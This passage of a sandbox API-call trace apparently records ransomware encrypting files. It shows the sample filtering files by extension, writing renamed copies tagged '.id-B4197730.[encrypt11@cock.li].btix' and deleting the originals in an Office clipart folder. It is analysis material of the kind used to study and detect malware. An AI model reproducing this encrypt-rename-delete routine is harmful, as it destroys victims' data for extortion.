[0139.819] lstrlenW (lpString=".doc") returned 4 [0139.819] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0139.819] lstrlenW (lpString=".docx") returned 5 [0139.819] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1 [0139.819] lstrlenW (lpString=".pdf") returned 4 [0139.819] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0139.819] lstrlenW (lpString=".xls") returned 4 [0139.819] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0139.819] lstrlenW (lpString=".xlsx") returned 5 [0139.819] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1 [0139.819] lstrlenW (lpString=".ppt") returned 4 [0139.819] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0139.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.819] lstrlenW (lpString=".zip") returned 4 [0139.819] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0139.819] lstrlenW (lpString=".rar") returned 4 [0139.819] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0139.819] lstrlenW (lpString=".bz2") returned 4 [0139.819] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0139.819] lstrlenW (lpString=".7z") returned 3 [0139.819] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0139.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.820] lstrlenW (lpString=".dbf") returned 4 [0139.820] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0139.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.820] lstrlenW (lpString=".1cd") returned 4 [0139.820] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0139.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099198.GIF") returned 68 [0139.820] lstrlenW (lpString=".jpg") returned 4 [0139.820] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0139.820] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0139.820] lstrlenW (lpString="J0099201.GIF") returned 12 [0139.820] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0139.827] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=51401) returned 1 [0139.827] CloseHandle (hObject=0x430) returned 1 [0139.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220 [0139.827] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0139.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0139.828] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.828] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.828] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0139.829] GetLastError () returned 0x0 [0139.829] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xc8c9, lpOverlapped=0x0) returned 1 [0139.848] WriteFile (in: hFile=0x54c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xc8d0, lpOverlapped=0x0) returned 1 [0139.850] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0139.850] WriteFile (in: hFile=0x54c, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0139.850] SetEndOfFile (hFile=0x54c) returned 1 [0139.850] CloseHandle (hObject=0x54c) returned 1 [0139.850] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0139.851] SetEndOfFile (hFile=0x430) returned 1 [0140.006] CloseHandle (hObject=0x430) returned 1 [0140.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1 [0140.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.010] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.010] lstrlenW (lpString=".doc") returned 4 [0140.010] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.010] lstrlenW (lpString=".docx") returned 5 [0140.010] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0140.010] lstrlenW (lpString=".pdf") returned 4 [0140.010] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.010] lstrlenW (lpString=".xls") returned 4 [0140.010] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.011] lstrlenW (lpString=".xlsx") returned 5 [0140.011] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0140.011] lstrlenW (lpString=".ppt") returned 4 [0140.011] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.011] lstrlenW (lpString=".zip") returned 4 [0140.011] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.011] lstrlenW (lpString=".rar") returned 4 [0140.011] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.011] lstrlenW (lpString=".bz2") returned 4 [0140.011] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.011] lstrlenW (lpString=".7z") returned 3 [0140.011] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.011] lstrlenW (lpString=".dbf") returned 4 [0140.011] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.011] lstrlenW (lpString=".1cd") returned 4 [0140.011] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.011] lstrlenW (lpString=".jpg") returned 4 [0140.011] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.011] lstrlenW (lpString=".doc") returned 4 [0140.011] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.011] lstrlenW (lpString=".docx") returned 5 [0140.011] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1 [0140.011] lstrlenW (lpString=".pdf") returned 4 [0140.011] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.011] lstrlenW (lpString=".xls") returned 4 [0140.012] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.012] lstrlenW (lpString=".xlsx") returned 5 [0140.012] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1 [0140.012] lstrlenW (lpString=".ppt") returned 4 [0140.012] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.012] lstrlenW (lpString=".zip") returned 4 [0140.012] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.012] lstrlenW (lpString=".rar") returned 4 [0140.012] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.012] lstrlenW (lpString=".bz2") returned 4 [0140.012] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.012] lstrlenW (lpString=".7z") returned 3 [0140.012] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.012] lstrlenW (lpString=".dbf") returned 4 [0140.012] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.012] lstrlenW (lpString=".1cd") returned 4 [0140.012] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68 [0140.012] lstrlenW (lpString=".jpg") returned 4 [0140.012] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.012] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0140.012] lstrlenW (lpString="J0099202.GIF") returned 12 [0140.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.013] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=4967) returned 1 [0140.013] CloseHandle (hObject=0x430) returned 1 [0140.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220 [0140.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.014] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.014] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.015] GetLastError () returned 0x0 [0140.015] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x1367, lpOverlapped=0x0) returned 1 [0140.054] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0x1370, lpOverlapped=0x0) returned 1 [0140.055] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.055] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.055] SetEndOfFile (hFile=0x4c0) returned 1 [0140.055] CloseHandle (hObject=0x4c0) returned 1 [0140.056] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.056] SetEndOfFile (hFile=0x430) returned 1 [0140.058] CloseHandle (hObject=0x430) returned 1 [0140.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.059] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1 [0140.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.060] lstrlenW (lpString=".doc") returned 4 [0140.060] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.060] lstrlenW (lpString=".docx") returned 5 [0140.060] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0140.060] lstrlenW (lpString=".pdf") returned 4 [0140.060] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.060] lstrlenW (lpString=".xls") returned 4 [0140.060] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.060] lstrlenW (lpString=".xlsx") returned 5 [0140.060] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0140.060] lstrlenW (lpString=".ppt") returned 4 [0140.060] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.060] lstrlenW (lpString=".zip") returned 4 [0140.060] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.061] lstrlenW (lpString=".rar") returned 4 [0140.061] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.061] lstrlenW (lpString=".bz2") returned 4 [0140.061] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.061] lstrlenW (lpString=".7z") returned 3 [0140.061] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.061] lstrlenW (lpString=".dbf") returned 4 [0140.061] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.061] lstrlenW (lpString=".1cd") returned 4 [0140.061] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.061] lstrlenW (lpString=".jpg") returned 4 [0140.061] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.061] lstrlenW (lpString=".doc") returned 4 [0140.061] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.061] lstrlenW (lpString=".docx") returned 5 [0140.061] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1 [0140.062] lstrlenW (lpString=".pdf") returned 4 [0140.062] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.062] lstrlenW (lpString=".xls") returned 4 [0140.062] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.062] lstrlenW (lpString=".xlsx") returned 5 [0140.062] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1 [0140.062] lstrlenW (lpString=".ppt") returned 4 [0140.062] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.062] lstrlenW (lpString=".zip") returned 4 [0140.062] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.062] lstrlenW (lpString=".rar") returned 4 [0140.062] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.062] lstrlenW (lpString=".bz2") returned 4 [0140.062] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.062] lstrlenW (lpString=".7z") returned 3 [0140.062] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.062] lstrlenW (lpString=".dbf") returned 4 [0140.062] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.062] lstrlenW (lpString=".1cd") returned 4 [0140.062] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68 [0140.062] lstrlenW (lpString=".jpg") returned 4 [0140.062] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.062] lstrcmpiW (lpString1=".GIF", lpString2=".btix") returned 1 [0140.063] lstrlenW (lpString="J0099203.GIF") returned 12 [0140.063] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.063] GetFileSizeEx (in: hFile=0x430, lpFileSize=0x314ff14 | out: lpFileSize=0x314ff14*=3904) returned 1 [0140.063] CloseHandle (hObject=0x430) returned 1 [0140.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 0x220 [0140.063] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0140.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0140.064] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.064] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0140.065] GetLastError () returned 0x0 [0140.065] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0xf40, lpOverlapped=0x0) returned 1 [0140.068] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xf50, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xf50, lpOverlapped=0x0) returned 1 [0140.069] ReadFile (in: hFile=0x430, lpBuffer=0x3e7c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesRead=0x314fecc*=0x0, lpOverlapped=0x0) returned 1 [0140.069] WriteFile (in: hFile=0x4c0, lpBuffer=0x3e7c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e7c020*, lpNumberOfBytesWritten=0x314fc94*=0xec, lpOverlapped=0x0) returned 1 [0140.069] SetEndOfFile (hFile=0x4c0) returned 1 [0140.069] CloseHandle (hObject=0x4c0) returned 1 [0140.069] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec0 | out: lpNewFilePointer=0x0) returned 1 [0140.069] SetEndOfFile (hFile=0x430) returned 1 [0140.072] CloseHandle (hObject=0x430) returned 1 [0140.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0140.072] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099203.gif")) returned 1 [0140.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.073] lstrlenW (lpString=".doc") returned 4 [0140.073] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.073] lstrlenW (lpString=".docx") returned 5 [0140.073] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0140.073] lstrlenW (lpString=".pdf") returned 4 [0140.073] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.073] lstrlenW (lpString=".xls") returned 4 [0140.073] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.073] lstrlenW (lpString=".xlsx") returned 5 [0140.073] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0140.073] lstrlenW (lpString=".ppt") returned 4 [0140.073] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0140.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.073] lstrlenW (lpString=".zip") returned 4 [0140.073] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0140.074] lstrlenW (lpString=".rar") returned 4 [0140.074] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0140.074] lstrlenW (lpString=".bz2") returned 4 [0140.074] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0140.074] lstrlenW (lpString=".7z") returned 3 [0140.074] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0140.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.074] lstrlenW (lpString=".dbf") returned 4 [0140.074] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0140.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.074] lstrlenW (lpString=".1cd") returned 4 [0140.074] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0140.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.074] lstrlenW (lpString=".jpg") returned 4 [0140.074] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0140.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099203.GIF") returned 68 [0140.074] lstrlenW (lpString=".doc") returned 4 [0140.074] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0140.074] lstrlenW (lpString=".docx") returned 5 [0140.074] lstrcmpiW (lpString1=".docx", lpString2="3.GIF") returned -1 [0140.074] lstrlenW (lpString=".pdf") returned 4 [0140.074] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0140.074] lstrlenW (lpString=".xls") returned 4 [0140.074] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0140.074] lstrlenW (lpString=".xlsx") returned 5 [0140.074] lstrcmpiW (lpString1=".xlsx", lpString2="3.GIF") returned -1 [0140.074] lstrlenW (lpString=".ppt") returned 4 [0140.074] 